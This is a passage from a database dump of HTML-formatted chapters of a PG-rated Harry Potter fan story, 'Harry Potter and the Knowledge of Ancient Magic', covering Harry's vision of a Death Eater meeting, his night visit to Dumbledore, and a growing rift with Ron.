life. </p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;Hmm&#8230;..what about our other \nmission? My followers will be waiting for me.&#8221; Voldemort said.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;We are preparing for the attack \nmaster.&#8221; Avery said.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;Very well. Make it soon.&#8221; The \nDark Lord said.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;Severus. Anything new about \nschool?&#8221; Voldemort asked another Death Eater. Harry jumped at the name. &#8216;Snape? \nNow I know what was that work, Dumbledore was talking about.&#8217; Harry thought.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">The potion master came forward.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;Yes master. Dumbledore has \nadded dueling classes in the schedule. He thinks he is preparing the students \nfor the upcoming war.&#8221; Severus said in a sarcastic voice.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;Hmm&#8230;.that old fool. Anything \nmore?......What about the boy?&#8221; Voldemort asked after a long silence.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;He is working extra hard \nmaster. Looks like he is preparing himself for you. That fool!&#8221; Snape said.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;<i>Crucio</i>.&#8221; Voldemort \nshouted. &#8220;Never ever under-estimate your enemy, Severus. That boy is powerful \nenough for you.&#8221; Voldemort said. After seeing the horror stricken faces of his \nfollowers, he added. &#8220;Of course he won&#8217;t be able to defeat me, he is way too \nyoung. However, he can be dangerous. Keep a close look at him.&#8221; He ordered.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;As you say master.&#8221; Snape said, \nretreating to his place.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Voldemort stood up from his \nplace at throne. &#8220;You all may go now. And do as you are told to.&#8221; He said.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">All the Death Eaters bowed and \nstarted retreating towards the door. After some seconds, only Wormtail was left \nwith Voldemort.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;M-master can I ask something if \nyou don&#8217;t mind?&#8221; Wormtail asked, trembling.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;Yes. Go on. Anyway, I know what \nyou are going to ask.&#8221; Voldemort said.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;You-you know master?&#8221; Wormtail \nsaid astounded.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;Yes Wormtail. You wanted to ask \nthat why I am so cautious about Harry Potter. Am I correct?&#8221; He said.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;Ye-yes master.&#8221; </p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;Hmm Wormtail. That boy is very \ndangerous. I don&#8217;t know what is so special about him but he <i>is</i> indeed \nvery dangerous. Do you know why I went for the Potters?&#8221; </p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;N-no master.&#8221;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&#8220;I went for Harry, not for that \nMudblood and that Potter. Because&#8230;..&#8221; He stared ahead of him, where Harry was \nstanding.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Harry felt the eyes of Voldemort \non himself. There was a sudden rush of pain in his scar. He doubled over in \nagony and clutched his scar, trying hard not to scream as Voldemort might notice \nhim. He was no longer able to hear any more sounds from the amount of pain in \nhis scar. A dark blanket soon took-over his mind.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">Harry woke up in his bed at \nHogwarts, panting. His all cloths were soaked from sweat. But a thicker liquid \nwas making his face wet&#8230;&#8230;..blood.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">\n////////////////////////////////////////////////////////////////////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">A.N: Hope you like it. The next \nchapter will contain the first Animagus training, hopefully. Don&#8217;t forget to \nread it.</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="text-indent: 6.0pt">&nbsp;</p>\n\n\n\n\n'),
	(193, 6, '\n\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;&nbsp; \n</p>\n<p class="MsoNormal" style="margin-left: 6.0pt"><b><i>&nbsp;</i></b></p>\n<p class="MsoNormal" style="margin-left: 6.0pt"><b><i>&nbsp;</i></b></p>\n<p class="MsoNormal" style="margin-left: 6.0pt"><b><i>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry \nPotter and the Knowledge of Ancient Magic.&#8221;</i></b></p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal"><b><i><u>&nbsp;</u></i></b></p>\n<p class="MsoNormal"><b><i>&nbsp; </i></b></p>\n<p class="MsoNormal"><b><i>&nbsp;</i></b></p>\n<p class="MsoNormal"><b><i>&nbsp;&nbsp;<u>Summary:</u></i>\n<i>The-boy-who-lived is being subjected to various \nchanges that would one day change \nthe&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fate \nof Wizarding World. However, petty teenager conflicts can harm the greatest of \nminds and Harry finds out that in the age of Mass Freedom, his best friend is \nstill very conservative. My version of Harry&#8217;s 5th year at Hogwarts. \nAnimagus training, New powers, and a bit of H/Hr.&nbsp; </i></b></p>\n<p class="MsoNormal"><b><i>&nbsp;</i></b></p>\n<p class="MsoNormal"><b><i><u>&nbsp;</u></i></b></p>\n<p class="MsoNormal"><b><i><u>&nbsp;</u></i></b></p>\n<p class="MsoNormal"><b><i><u>Rating:</u> \nPG</i></b></p>\n<p class="MsoNormal"><b><i>&nbsp;</i></b></p>\n<p class="MsoNormal"><b><i>&nbsp;</i></b></p>\n<p class="MsoNormal"><b><i>&nbsp;</i></b></p>\n<p class="MsoNormal">&nbsp;&nbsp; Harry woke up in his bed at Hogwarts, \npanting. His all cloths were soaked from sweat. But a thicker liquid was making \nhis face wet&#8230;&#8230;..blood.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; And the source of the blood was his \nscar which was ripped open, again. The previous time it had done like that was \nwhen Voldemort was plotting something against the Wizarding World. And, if he \nremembered the dream correctly, Voldemort was talking about the plan of some \nattack. But where? </p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp; &#8216;Maybe on Hogwarts....no it&#8217;s \nimpossible as long as Dumbledore is here and the protection wards are still on \nwork&#8230;..no he can&#8217;t attack here&#8230;not yet anyway. Maybe I should go to Professor \nDumbledore and tell him about the dream. I will have to wake him up&#8230;..no matter \nits important.&#8217; Harry decided. He got up and changed to go to Headmaster&#8217;s \nOffice.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; He climbed out of the fat lady&#8217;s \nportrait and headed towards the Headmaster&#8217;s Office. He turned a corner and came \nacross the gargoyle protecting Headmaster&#8217;s Office. </p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; Just then, he heard a snarling voice \nfrom behind him. &#8220;What are you doing here Potter?&#8221; He knew who it belonged to. \nHe had suspected meeting him on the way. He turned slowly. </p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; &#8220;Nothing Professor, I just wanted to \nmeet Professor Dumbledore.&#8221; </p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; &#8220;That late. Then it should be of \ngreat importance. Tell me Potter what is it? I will tell Headmaster about it.&#8221; \nSnape said, glaring at him with twinkling eyes. He was absolutely happy to get a \nchance to pick on Harry.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; &#8220;I want to meet Headmaster myself. \nIt&#8217;s important.&#8221; Harry replied.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; &#8220;Why. You think of me as an \nirresponsible man. Don&#8217;t you?&#8221; Snape sneered.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; &#8220;No I don&#8217;t. It is not easy to see \nand face Voldemort every night. Let alone spy at him. I don&#8217;t think of you like \nthat. I think I am beginning to respect you.&#8221; Harry said, sincerely. He knew how \nwas it to face Voldemort, and now that he knew Snape had done it countless times \nfor the sake of school, he was very impressed of his bravery.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;WHAT? How did you know that?&#8221; \nSnape hissed.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Severus, Harry. I think it will be \nbetter that you come inside and talk. You are disturbing the portraits.&#8221; Came \nProfessor Dumbledore&#8217;s voice.<br>\n<br>\n&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; They silently moved in front of the \ngargoyle. Snape looked at Harry expectantly. &#8216;May be he&#8217;s not as brave as I \nthought.&#8217; Harry said in his mind while his lips moved to say the Dark Lord&#8217;s \nname. &#8220;Voldemort.&#8221; </p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; Snape moved inside before Harry. \nHarry followed him. They knocked the door to the office. It wasn&#8217;t locked. &#8220;Come \nin.&#8221; Professor Dumbledore said.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Professor when I came from&#8230;..you \nknow where, I saw <i>him </i>standing outside the door at this late. I think he \nshould get some punishment.&#8221; Snape said hurriedly, not allowing Harry to talk. \nHarry stood silently and said nothing.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Slow down Severus. I think Harry \nwouldn&#8217;t be here if it wasn&#8217;t very important. Am I right Harry?&#8221; Professor \nDumbledore said, looking at Harry. </p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes sir. I had a dream.&#8221; Harry was \ngoing to say more when Professor Snape cut him.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; &#8220;Hah only a dream. Is that what you \ncall important Professor?&#8221; Snape said, sneering.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; &#8220;Severus! What&#8217;s wrong with you? We \nare having an important talk here. You and me both know that Harry is not an \nordinary boy. If still you want to interrupt then I think it will be better if \nyou leave, right now!&#8221; Professor Dumbledore said.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; Harry had never seen Professor \nDumbledore get annoyed or angry at such a little thing. He guessed that he was \nvery worried by the rise of the Dark Lord and although he didn&#8217;t showed it, it \nwas eating him.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; Snape was embarrassed badly that \nDumbledore had chosen a little boy over him, but he knew it won&#8217;t be good for \nhim to argue. He murmured an apology and sat down on a seat.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; Harry also sat down in a chair to \nwhich Professor Dumbledore had motioned. &#8220;Um Professor, I was saying that I had \na dream, more like a nightmare&#8230;&#8230;.of Voldemort.&#8221; Harry stopped to breath after \nsaying all this in one breath.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; &#8220;I saw the Death Eater meeting you \nwere in.&#8221; Harry said, this time to Professor Snape more than Professor \nDumbledore. Snape was astonished. However, Harry didn&#8217;t saw any astonishment on \nProfessor Dumbledore&#8217;s face. He just sat there with the same face. The \nHeadmaster sighed and leaned back into the chair.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; &#8220;So that was how you knew.&#8221; Snape \nsaid to no one particularly. &#8220;So what does that mean Professor?&#8221;</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; &#8220;This means that we can rely on \nHarry for some information. Am I right Harry?&#8221; Professor Dumbledore said. \n</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; Harry nodded. He was still thinking \nabout the reason Voldemort raided his house on Halloween 1981. Voldemort was \ngoing to tell the reason to Wormtail when there was a sudden pain in his scar \nand the world fall into oblivion. After that he had woken in his bed at \nGryffindor Tower.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; &#8220;Anything new Severus?&#8221; Professor \nDumbledore said.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; &#8220;Yes Albus but I don&#8217;t know it. \nYou-Know-Who is keeping it from all of us except Malfoy, Avery, McNair, Crabbe, \nGoyle and that born coward, Wormtail.&#8221; Snape spat the name Wormtail out.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp; &#8220;Okay you can go now.&#8221; Professor \nDumbledore said, deep in thought. </p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp; Snape stood up but Harry remained \nstill. </p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp; &#8220;Why aren&#8217;t you coming, Potter?&#8221; Snape \nsaid after noticing Harry.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp; &#8220;You can go. I have something very \nimportant to talk with Professor Dumbledore.&#8221; Harry replied.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp; Snape looked at Professor Dumbledore \nand after he saw him nod his head, he left.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp; &#8220;Yes Harry. What do you want to talk \nwith me about?&#8221; Professor Dumbledore&nbsp;said after Professor Snape was gone.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp; &#8220;Professor you never told me the \nreason Voldemort came for me.&#8221; Harry said a bit angrily.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp; &#8220;How can you say that he came after \nyou? Your parents were Aurors; it could have been for them.&#8221; </p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp; &#8220;No it was for me that he came and you \nknow it very well. So tell me <i>why he came for me</i>.&#8221; Harry said in the same \nvoice.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp; &#8220;I will tell you when the time will \ncome. If I tell you before the time, it could be disastrous for you.&#8221; Professor \nsaid in a soothing manner.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp; Harry remained silent. He knew it was \nno good to argue with Professor Dumbledore now.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp; &#8220;Okay Harry return to your dormitory. \nAnd I assure you that the time will come soon when I&#8217;ll be able to tell you.&#8221; \nProfessor Dumbledore assured him.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; Harry silently moved out of the \noffice and headed back towards the portrait of the fat lady. </p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; He entered through the portrait and \nscanned the common room. No one was there. Harry watched the time. It was 6:30 \nin the morning. Harry knew there was no time to sleep. So he just took a shower \nand after changing, he came back down to the common room and sat on the couch. \nHe has to wait till Hermione and Ron are prepared.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; He thought about the reasons why he \nwould be a target of Voldemort at the age of one! He kept thinking about it \nuntil his head started to hurt. He looked up. Hermione was sitting across from \nhim and was carefully looking at him. He straightened up.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp; &#8220;For how long have you been sitting \nhere watching me?&#8221; Harry asked.&nbsp; </p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp; &#8220;I have been sitting here for fifteen \nminutes and now is that you have noticed me. What is on Harry? I know something \nis.&#8221; She asked. </p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp; &#8220;Nothing is going on. Why would you \nthink so?&#8221; Harry lied. He didn&#8217;t wanted his friends to think that he was afraid \nof these dreams or Voldemort.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp; She sighed. &#8220;Okay, if you don&#8217;t want \nto tell me I will not force you. Come on. Ron is here.&#8221; </p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp; Harry looked up. Ron was coming out \nfrom the boys dorms as were others. Harry saw the watch. It was 8:30 already.\n</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp; &#8220;Please don&#8217;t say anything to Ron.&#8221; \nHarry said. Hermione nodded. She also agreed to it because Ron was not acting as \nfriendly as before this year. Now, he was mostly hanging on with Dean and Seamus \nin spite of Harry and Hermione. It was mostly Harry and Hermione now. \n</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp; &#8220;Come on Ron.&#8221; Harry said after Ron \nreached them.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp; &#8220;I will meet you in class. I have to \nsay something important to Dean. Bye.&#8221; Ron said hurriedly and left.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp; Harry remained sitting there, his \nmouth hanging open. As much as Ron was acting less-friendly these days, Harry \nhad not expected him to say that he can not come to dinner with them. Harry \nsuddenly felt very angry with him. &#8216;What he thinks he is? Okay if he don&#8217;t wants \nmy friendship, it&#8217;s okay with me. He can make his new friends.&#8217; Harry thought \nangrily.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp; &#8220;Harry you are not angry at him, are \nyou?&#8221; Hermione asked.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp; &#8220;Why wouldn&#8217;t I be? He doesn&#8217;t wants \nto be our friend okay. I will not go to him and talk him in again. If wants to, \nhe is welcomed.&#8221; Harry snapped.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp; &#8220;Harry, forget it. He is just jealous \nof you for a time being. I am sure he wants our friendship. I&#8217;ll talk to him.&#8221; \nShe said.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp; &#8220;Yeah right.&#8221; Harry said slowly. But \nhe had an awkward feeling that this is not going to be right.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">\n```````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">A.N: Here is the next chapter. Yes Ron \nwill be jealous in the story. I will not be able to update soon.L \nSorry, just joking. I will update as soon as possible.J \nThanks to all who reviewed. I hope you&#8217;ll keep it up.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n'),
	(193, 7, '\n\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;&nbsp; \n</p>\n<p class="MsoNormal" style="margin-left: 6.0pt"><b><i>&nbsp;</i></b></p>\n<p class="MsoNormal" style="margin-left: 6.0pt"><b><i>&nbsp;</i></b></p>\n<p class="MsoNormal" style="margin-left: 6.0pt"><b><i>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \n&#8220;Harry Potter and the Knowledge of \nAncient Magic.&#8221;</i></b></p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal"><b><i><u>&nbsp;</u></i></b></p>\n<p class="MsoNormal"><b><i>&nbsp; </i></b></p>\n<p class="MsoNormal"><b><i>&nbsp;</i></b></p>\n<p class="MsoNormal"><b><i>&nbsp; <u>\nSummary:</u></i>\n<i>The-boy-who-lived is \nbeing subjected to various changes that would one day change the fate of \nWizarding World. However, petty teenager conflicts can harm the greatest of \nminds and Harry finds out that in the age of Mass Freedom, his best friend is \nstill very conservative. My version of Harry&#8217;s 5th year at Hogwarts. \nAnimagus training, New powers, and a bit of H/Hr.&nbsp; </i></b></p>\n<p class="MsoNormal"><b><i>&nbsp;</i></b></p>\n<p class="MsoNormal"><b><i><u>&nbsp;</u></i></b></p>\n<p class="MsoNormal"><b><i><u>&nbsp;</u></i></b></p>\n<p class="MsoNormal"><b><i><u>\nRating:</u> PG</i></b></p>\n<p class="MsoNormal"><b><i>&nbsp;</i></b></p>\n<p class="MsoNormal"><b><i>&nbsp;</i></b></p>\n<p class="MsoNormal"><b><i>&nbsp;</i></b></p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;&nbsp; Harry and \nHermione headed towards the Great Hall to eat lunch. They sat side by side on \nthe Gryffindor table. Ron hasn&#8217;t arrived yet. Harry was still angry at Ron for \nacting like this. But in his heart he knew that Ron was justified for his \nattitude. Harry has taken everything he always wanted. Harry was rich, famous \nand the whole Wizarding world worshipped him. He was a very good Quidditch \nplayer and winner of the TriWizard Tournament, and now, a Prefect too. \n</p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;&nbsp; Ron had \nshown the same behavior when Harry was selected as Hogwarts champion. But he had \napologized when came to know it was not Harry which had done it. It was surfaced \nagain, probably by Harry&#8217;s appointment as a Prefect. But he didn&#8217;t acknowledge \nthe dangers and responsibilities that came with all that fame. People in \nWizarding World considered him as a hero who will rescue them from You-Know-Who, \nand because of it, all of them looked upon him at any time of trouble. \n</p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;&nbsp; Harry \nnever understood before why Dumbledore always get him to manage all the \nVoldemort stuff. It was known that nothing in Hogwarts can escape his notice. \nNow Harry understood that Professor Dumbledore knew that he will be looked upon \nat any time of trouble, which was why he got him to manage all that troubles the \nschool faced during all these years. </p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;&nbsp; But Ron \nhasn&#8217;t known that. He hadn&#8217;t for once faced a big trouble except at that giant \nchessboard back in their first year. He hadn&#8217;t seen that horrific and hideous \nface of Voldemort&#8217;s&#8230;.he doesn&#8217;t know anything. He wasn&#8217;t the one who lived with \nDursleys for <i>ten years,</i> when it is difficult to bear them for even ten \nminutes.</p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;&nbsp; Harry had \nbeen living with that pathetic people after his parents&#8217; death. It was never \nlike a home to him. In fact it was more like a jail. Then on his eleventh \nbirthday, he had been rescued from them by Hagrid. He still remembered that day. \nThat was the day his whole life took a new turn. It was on that day that he knew \nwho he really was. It was on that day he made his first friend&#8230;..Hagrid. Until \nthat day, he was kept totally oblivion to magic. But it was now like a second \nnature to him. Then he had faced life-threatening events in his every year. And \nthe pain and sadness that came from that night was still fresh.</p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;&nbsp; While \nHarry was thinking, Ron came in through the doors of the Great Hall. He scanned \nthe Gryffindor Table for any signs of his &#8216;best friends&#8217;. 